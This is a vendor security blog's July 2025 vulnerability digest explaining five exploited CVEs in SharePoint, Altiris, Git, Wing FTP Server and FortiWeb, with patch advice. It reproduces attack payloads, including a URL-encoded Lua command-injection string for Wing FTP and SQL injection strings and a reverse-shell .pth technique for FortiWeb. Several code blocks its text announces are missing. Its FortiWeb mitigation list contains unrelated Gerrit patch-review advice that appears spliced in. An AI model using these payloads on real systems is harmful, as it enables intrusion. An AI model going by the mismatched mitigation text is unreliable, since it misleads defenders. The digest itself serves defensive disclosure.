The Bug Report – July 2025 Edition

By Jonathan Omakun and Tola Olawale · August 6, 2025

Why am I here?

July usually means barbecues, fireworks and pool parties—but this year, it brought something far more explosive: unauthenticated remote code execution, deserialization chaos, and an old-school carriage return bug that makes Git itself your attacker’s shell script factory.

Welcome back to The Bug Report, your monthly vulnerability digest where we heat-test enterprise software and highlight what’s breaking (spoiler: everything). This month we’re covering five fresh bugs that range from “oops, that’s a NULL byte” to “yep, that’s legacy .NET Remoting from 2005 still exposed to the internet.”

Here’s what popped off in July:

CVE-2025-53770 (aka ToolShell): Microsoft SharePoint Server

CVE-2025-5333: Broadcom Symantec Altiris IRM

CVE-2025-48384: Git Git CLI

CVE-2025-47812: Wing FTP Server

CVE-2025-25257: Fortinet FortiWeb

Grab your red team hat or your patching script (preferably both), and let’s dive in!

CVE-2025-53770: Is your SharePoint a "ToolShell" of its former self?

What is it?

Imagine your company's digital brain, SharePoint, suddenly sprouting a backdoor accessible to anyone on the internet. That's essentially CVE-2025-53770, a critical remote code execution (RCE) vulnerability affecting on-premises Microsoft SharePoint Servers. Dubbed " ToolShell," this bug is a nasty variant of the already known CVE-2025-49706. It's like finding a gaping hole in your carefully planned beach umbrella just as the sun reaches its peak.

The nitty-gritty involves a peculiar dance with the _layouts/15/ToolPane.aspx component. An unauthenticated attacker sends a specially crafted HTTP request, setting the Referer header to _layouts/SignOut.aspx. This seemingly innocuous action bypasses authentication, allowing the attacker to write malicious .aspx files, like spinstall0.aspx, directly to your server's file system. It's the digital equivalent of someone politely asking for the keys to your house, and then walking in and redecorating with their own questionable taste.

This isn't just about dropping a simple web shell. Tools like SharpyShell can be used to craft these .aspx files to extract cryptographic secrets, specifically the MachineKey configuration (including ValidationKey and DecryptionKey). With these keys in hand, attackers can then forge valid and signed __VIEWSTATE payloads using tools like ysoserial.

When these malicious payloads hit the SharePoint server, they're deserialized and executed as trusted input, granting the attacker full remote code execution without any prior authentication. Think of it as convincing your server to trust a poisoned piece of mail it thinks is from itself—a classic Trojan horse, but with more .NET magic.

Who cares?

Everyone running on-premises Microsoft SharePoint Server, especially versions 2016, 2019, and Subscription Edition. Eye Security observed large-scale exploitation of this vulnerability on July 18, 2025, with two confirmed waves of attacks targeting SharePoint servers globally, leading to dozens of compromises before public disclosure.

Microsoft has also confirmed active exploitation, and patches are out for the Subscription Edition, 2016 and 2019. Unfortunately, SharePoint 2010/2013 users are out of luck, as no patches are expected for these older versions, making isolation or decommissioning your only real options. It's like showing up to the beach party in a swimsuit from 2010—nobody's going to save you from that fashion faux pas.

The availability of public proof-of-concept (PoC) code has only accelerated the spread. If your SharePoint isn't patched, consider it a ticking time bomb.

Multiple PoCs demonstrate how an attacker can leverage a leaked ValidationKey to achieve RCE.

Here's how an attacker would use ysoserial to craft a malicious __VIEWSTATE payload:

Once this payload is generated, it can be sent to the SharePoint server via a curl request:

This shows how the attacker, after obtaining the MachineKey, crafts a deserialization payload that, when processed by SharePoint, executes arbitrary PowerShell commands to list a directory and exfiltrate the file names to an attacker-controlled server. It's like ordering a pizza and getting a live grenade delivered instead—unexpected, and definitely not what you wanted.

What can I do?

• First and foremost, patch immediately! Microsoft has released security updates for SharePoint 2016 (KB5002760 and KB5002759 for language packs), SharePoint Subscription Edition (KB5002768), and SharePoint 2019 (KB5002754 and KB5002753 for language packs).
• After patching, it's absolutely critical to rotate your ASP.NET machine keys. These keys, if leaked, can still be used for further attacks even after patching. You can do this manually via PowerShell using the Set-SPMachineKey cmdlet, or by triggering the "Machine Key Rotation Job" in SharePoint's Central Administration site. After rotation, restart IIS on all your SharePoint servers using iisreset.exe. Consider it a digital cleanse after a day at the beach.
• Ensure Antimalware Scan Interface (AMSI) integration in SharePoint is enabled and configured for "Full Mode" with a robust antivirus solution. While AMSI is enabled by default in recent updates, double-check it. If you can't enable AMSI, consider disconnecting your server from the internet until you're patched. It's better to miss out on some online fun than to have your entire server roasted.

Trellix Customers: If you’re using Trellix Endpoint Security (ENS) today to protect your SharePoint servers, you can enable Exploit Prevention Rule 6195 in logging mode to monitor for suspicious activity. It is recommended to observe telemetry and create exceptions before enabling any rule to blocking mode.

This rule logs or blocks attempts by Internet Information Services (IIS) worker processes to run unauthorized programs. Additionally, ensure that antimalware scan interface (AMSI) scanning and ATP Rules are enabled to detect unknown file execution. This may indicate exploitation or post-exploitation activity.

If using Trellix Network Detection and Response (NDR) or Trellix Intrusion Prevention System (IPS) today to protect your servers, Trellix released UDS-HTTP: Microsoft SharePoint Remote Code Execution (CVE-2025-53770) in blocking mode by default to prevent remote exploitation attempts. It’s available on the Thrive Portal.

Additional signature and signature-less malware detection solutions in Trellix IVX for Collaboration Platforms and Trellix IVX for Enterprise Applications are available to scan for malicious content within SharePoint and other collaboration systems. Malicious content could be uploaded post-exploitation for persistence or detonation at another time.

If you are using Trellix EDR with Forensics (EDRF), specific detection content is under development; however, proactive detection and telemetry is available for post-exploitation techniques. For example, Powershell, Network, Process, Account and File manipulation telemetry is proactively traced in EDRF.

If using Trellix Insights today, the portal is up to date with operational intelligence such as exploitation campaigns, attack prevalence, and indicators of compromise. You can connect Trellix Insights to Trellix EDR to search for related indicators and export intelligence to third-party systems for additional monitoring.

CVE-2025-5333: Broadcom Symantec Altiris IRM – A remoting headache

What is it?

.NET Remoting. In 2025. We wish this was satire. CVE-2025-5333 affects Broadcom Symantec Altiris (IRM) via a legacy endpoint: tcp://<host>:4011/IRM/HostedService

This component uses BinaryServerFormatterSinkProvider with TypeFilterLevel=Full, which is basically like saying “deserialize whatever—I trust you.” Attackers can send malicious objects over TCP and trigger unauthenticated RCE. Red Teamers demonstrated exploitation using James Forshaw’s ExploitRemotingService, invoking commands like ls C:\ from a remote machine.

Who cares?

Organizations using Broadcom Symantec Endpoint Management Suite (Altiris) versions 8.6.x, 8.7.x, and 8.8 are directly affected. While wide-scale active exploitation hasn't been reported yet, the unauthenticated nature and RCE capabilities make this a highly severe threat.

If your Altiris IRM component's port 4011 is reachable over the network, you are at risk. Given that the service runs with high privileges, a successful exploit could lead to complete compromise of the affected server and potential lateral movement within your network. It's like leaving your expensive BBQ smoker unattended at a public park—you're just asking for trouble.

What can I do?

• Ensure that port 4011 is closed on the ITMS Notification Server's firewall. According to Broadcom's documentation, this port is not required to be open. This simple step can prevent exploitation. Think of it as putting a "do not disturb" sign on your server's metaphorical door.
• If immediate firewall changes aren't feasible, you can modify a Core Setting within the Notification Server (Altiris) Console. Go to Settings -> Notification Server -> Core Settings, and add a new Core Setting named IRM_HostedServiceUrl with an empty value. After this, restart the "Altiris Inventory Rule Management Service." This will restrict the .NET Remoting usage for IRM/HostedService to localhost only. It's like telling your service to only talk to itself, which, honestly, is a good life lesson for some of us.
• Keep an eye out for official product updates from Broadcom. They plan to address this by securing the .NET Remoting to localhost only in future releases

CVE-2025-48384: Git clone – recursive goes rogue

What is it?

Carriage return strikes again—this time in Git CLI ≤ 2.50.0 and GitHub Desktop. CVE-2025-48384 abuses a mismatch in how Git reads and writes config values involving \r. The result? Arbitrary file write outside the repository directory.

The core problem lies in how Git handles carriage return characters when parsing and writing configuration values in the .gitmodules file. Git strips trailing CRs when reading config values, but does not quote values with a trailing CR when writing them, causing the CR to be lost.

This inconsistency allows an attacker to define a submodule path in .gitmodules that, after being rewritten by Git, points to a different, attacker-controlled location. It's like setting up a treasure hunt, but the map secretly changes after you look at it the first time.

This path manipulation can be leveraged to write malicious files outside the intended repository directory. The most likely scenario? Writing harmful Git Hook scripts (e.g., post-checkout) within the victim's .git directory. These malicious hooks would then execute whenever common Git operations like git commit or git merge are performed, granting the attacker remote code execution (RCE).

Beyond RCE, attackers could also overwrite your Git configuration file to exfiltrate sensitive data, like proprietary source code, by redirecting your remote "origin" to their server. It's a stealthy way to steal data and maintain persistence. Windows systems are not directly affected because of how they handle control characters in filenames compared to Unix-like systems. So, at least Windows users can breathe a slight sigh of relief.

Who cares?

If you're a software developer using Git on macOS or Linux, especially if you frequently clone repositories, you should care. This is particularly dangerous for those who often work with open-source projects that instruct users to run git clone --recursive.

GitHub Desktop auto-runs --recursive, making this chain especially dangerous for unaware developers. This is effectively RCE from a git clone—no install scripts required.

DataDog research indicates that vulnerable Git versions have also been found in customer CI/CD build systems, expanding the attack surface beyond individual workstations. Essentially, if you're building software, this bug might be trying to build something else behind your back.

The issue highlights a recurring problem in Git's handling of control characters and configuration parsing, echoing past vulnerabilities like CVE-2024-32002. Given the widespread use of Git and the common practice of recursive cloning, this vulnerability poses a significant risk to the software development supply chain.

What can I do?

• Upgrade your Git CLI immediately. Patch your Git CLI installations on macOS and Linux to version 2.50.1 or above using your preferred package manager. If you're a GitHub Desktop user on macOS, it's recommended to temporarily avoid using the client for git clone operations until GitHub releases a patch; instead, use a patched version of the Git CLI for cloning. Don't let a missing update ruin your codebase.
• When cloning repositories from untrusted sources, avoid using the --recursive flag directly. Instead, perform a git clone without --recursive, then manually examine the .gitmodules file for any suspicious paths before initializing submodules. Always audit submodule contents from untrusted sources for unexpected or manipulated paths, especially those containing unusual characters. It's like checking the ingredients list before you bite into that mystery meat at the potluck.

CVE-2025-47812: Wing FTP server – NULL byte = root shell

What is it?

It started with a NULL byte in a username and ended with a Lua-powered reverse shell. CVE-2025-47812 is a critical remote code execution vulnerability affecting Wing FTP Server versions before 7.4.4. This nasty bug, publicly disclosed by RCE Security, stems from a classic blunder: improper handling of null bytes (\0 or %00) in the username parameter of a POST request to the loginok.html authentication endpoint within the user and admin web interfaces. It's like a tiny, invisible character acting as a trapdoor to your entire server.

Here's how this elegant, yet devastating, exploit works: when a null byte is encountered during string processing for authentication, the server prematurely truncates the input. This allows the login to proceed while ignoring any malicious code that follows the null byte. The kicker? The complete, unsanitized string, including your injected Lua code, is then saved verbatim into a .lua session file.

When the server later loads this session file to service a request to an authenticated page (like dir.html), it executes the injected Lua code with the elevated privileges of the FTP service. On Linux, that's root, and on Windows, it's SYSTEM. Full server compromise, guaranteed. It's like signing a guestbook, but secretly scribbling "I own this place now" in invisible ink that only the server can read and execute.

Proof-of-concept exploits were made public on June 30, 2025, and threat intelligence firm Huntress confirmed active exploitation in the wild as early as July 1, 2025. This landed CVE-2025-47812 on CISA's Known Exploited Vulnerabilities Catalog. Observed attack chains include reconnaissance commands (whoami, ipconfig), attempts to establish persistence by creating new user accounts, and malware delivery using utilities like certutil to download malicious beacons or RMM tools.

What makes this particularly dangerous is its exploitability via anonymous FTP accounts, meaning no pre-existing credentials are required. So even your "guest" users can become super-admins. Yikes.

Who cares?

Anyone running Wing FTP Server versions 7.4.3 or earlier. Given that active exploitation has been observed almost immediately after public disclosure, this is a severe and urgent threat. Organizations relying on Wing FTP Server for file transfer, especially those with anonymous access enabled, are at extreme risk. A successful compromise could lead to complete control of the server and potential lateral movement into your network. If you're in this boat, your summer plans just got a whole lot more "patch-and-pray."

Huntress's analysis of observed attacks reveals attackers attempting to create new users for persistence and deploying various tools. The vulnerability's ease of exploitation and the high privileges gained make it a prime target for opportunistic threat actors.

A publicly available PoC leverages the null byte injection to achieve RCE. The core of the exploit lies in the payload variable constructed for the initial POST request to loginok.html:

1. username={encoded_username}%00: This part crafts the username, appending a URL-encoded null byte (%00) after the actual username (e.g., "anonymous"). This null byte tricks the authentication function into processing only "anonymous" for login verification, while the rest of the string is ignored for authentication but retained for session file writing. It's a classic case of misdirection, like a magician's sleight of hand.
2. ]]%0dlocal+h+%3d+io.popen(\"{command}\")%0dlocal+r+%3d+h%3aread(\"*a\")%0dh%3aclose()%0dprint(r)%0d--: This is the injected Lua code.
   • ]]: Closes the unclosed Lua string from the username variable in the session file.
   • %0d: A URL-encoded carriage return, acting as a newline in the Lua script.
   • local+h+%3d+io.popen(\"{command}\"): This is the crucial part that executes the user-supplied command. io.popen() is a Lua function that allows executing system commands.
   • local+r+%3d+h%3aread(\"*a\")%0dh%3aclose()%0dprint(r): Reads the output of the command, closes the handle, and prints the result.
   • --: This comments out any remaining Lua syntax from the original session file format, preventing errors.

After successfully sending this crafted POST request, the server returns a UID cookie. The attacker then makes a subsequent GET request to an authenticated page, like /dir.html, using this UID cookie:

This action causes the Wing FTP Server to load and execute the compromised session file, thereby running the injected Lua command with high privileges (root on Linux, SYSTEM on Windows). It's a beautifully chained attack, turning a seemingly minor flaw into a full-blown server takeover.

What can I do?

• The absolute top priority is to update Wing FTP Server to version 7.4.4 or later immediately. This version contains the necessary fix. Don't wait for a digital heatstroke to hit your servers!
• Beyond patching, if anonymous access is not a business requirement, disable anonymous logins to remove a primary vector for unauthenticated exploitation. Consider implementing network segmentation or firewall rules to restrict access to the Wing FTP Server web portal (HTTP/HTTPS) to only trusted IP addresses or internal networks. If you wouldn't leave your valuables on the front porch, don't leave your FTP server exposed.

CVE-2025-25257: FortiWeb’s bearer token gets you RCE

What is it?

Fortinet FortiWeb users, pay attention! CVE-2025-25257 is a critical SQL Injection vulnerability found in FortiWeb versions 7.6.0 through 7.6.3, 7.4.0 through 7.4.7, 7.2.0 through 7.2.10, and versions below 7.0.10. This nasty flaw, categorized as CWE-89 (Improper Neutralization of Special Elements used in an SQL Command), allows an unauthenticated attacker to execute arbitrary SQL code or commands. It's a classic SQLi, proving that some vulnerabilities are like stubborn summer weeds—they just keep coming back.

The vulnerability lives within the FortiWeb Fabric Connector, a component designed to integrate FortiWeb with other Fortinet products. The crux of the issue is in the get_fabric_user_by_token function within the /bin/httpsd binary. Attacker-controlled input from the HTTP Authorization: Bearer header is directly embedded into a MySQL query via snprintf(s, 0x400u, "select id from fabric_user.user_table where token='%s'", a1); without proper sanitization. It's like asking for a name, and instead of just getting a name, you get a whole command embedded in it.

Initial exploitation attempts hit a snag: the __isoc23_sscanf function used to parse the Authorization header stops reading at the first space, and the header itself is limited to 128 characters. Clever researchers circumvented this by using MySQL's /**/ comment syntax as a space alternative and leveraging relative paths for file writing to shorten payloads. This allowed for successful time-based SQL injection ('/**/or/**/sleep(5)--/**/-') and authentication bypass ('or'1'='1) to confirm the vulnerability. Even with obstacles, resourceful attackers find a way, like finding a secret path to the ice cream truck.

But it gets worse. Further analysis revealed a path to Remote Code Execution (RCE). A publicly available PoC by watchTowr labs leverages a multi-stage SQL injection to achieve RCE. The MySQL process associated with FortiWeb runs as root, granting high privileges. Attackers can leverage the INTO OUTFILE SQL statement to write arbitrary files to the system.

While direct overwriting isn't possible, the presence of a writable cgi-bin directory (/migadmin/cgi-bin/) and an executable Python script (ml-draw.py) within it presented the perfect opportunity. By crafting a malicious .pth file containing Python code (e.g., a reverse shell payload) and writing it to a relative path like ../../lib/python3.10/site-packages/x.pth using INTO OUTFILE, an attacker can trigger code execution. When ml-draw.py is subsequently accessed, the Python interpreter starts, processes the malicious .pth file, and executes the injected code with root privileges.

This escalation from unauthenticated SQL injection to full pre-authentication RCE makes this vulnerability extremely severe. The Shadowserver Foundation reported active exploitation in the wild on July 16, 2025. It's the full buffet of hacking goodness, from appetizers to a main course of root access.

Who cares?

If you're running any of the affected FortiWeb versions, you should be very concerned. This vulnerability has been actively exploited in the wild, meaning threat actors are already targeting unpatched systems. Given the ease of exploitation, the unauthenticated nature of the attack, and the ability to achieve root-level RCE, this flaw presents a critical risk to organizations. Your FortiWeb, meant to protect, might actually be the entry point!

What can I do?

• The most critical step is to apply patches immediately. Fortinet has released security updates for all affected FortiWeb versions:
  • FortiWeb 7.6.x: Upgrade to 7.6.4 or above.
  • FortiWeb 7.4.x: Upgrade to 7.4.8 or above.
  • FortiWeb 7.2.x: Upgrade to 7.2.11 or above.
  • FortiWeb 7.0.x: Upgrade to 7.0.11 or above.
• If immediate patching isn't feasible, a workaround is to disable the HTTP/HTTPS administrative interface. This will prevent unauthenticated access to the vulnerable Fabric Connector routes. However, this is a temporary measure and patching should be prioritized. Think of it as putting a "closed for summer" sign on a dangerous ride.
• Restrict "addPatchSet" Permission: Limit the "addPatchSet" permission to only highly trusted and necessary accounts. This significantly reduces the attack surface.
• Implement Post-Approval Validation: This is key. Put in place mechanisms to revalidate patches even after initial approval before they are merged. This could involve additional automated checks, mandatory manual re-reviews for subsequent patch sets, or stricter approval flows.
• Harden "Copy Conditions" Logic: Thoroughly review and test your "Copy Conditions" rules. Ensure they are designed to explicitly invalidate or reset critical label scores (like "Code-Review" or custom "Commit-Queue" labels) when new patch sets are introduced, forcing a fresh review.

Discover the latest cybersecurity research from the Trellix Advanced Research Center: https://www.trellix.com/advanced-research-center/